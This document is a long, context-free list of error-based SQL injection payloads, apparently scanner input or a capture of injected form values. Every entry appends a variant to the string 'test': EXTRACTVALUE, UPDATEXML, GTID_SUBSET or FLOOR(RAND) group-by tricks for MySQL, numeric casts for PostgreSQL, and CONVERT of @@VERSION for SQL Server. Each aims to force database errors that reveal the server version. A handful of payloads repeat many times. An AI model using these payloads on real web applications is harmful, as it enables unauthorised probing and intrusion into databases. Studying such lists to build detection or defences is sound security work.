test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test' AND 1=CONVERT(INT, (SELECT @@VERSION)) AND '1'='1

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

testAND 1=CONVERT(INT, (SELECT @@VERSION))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

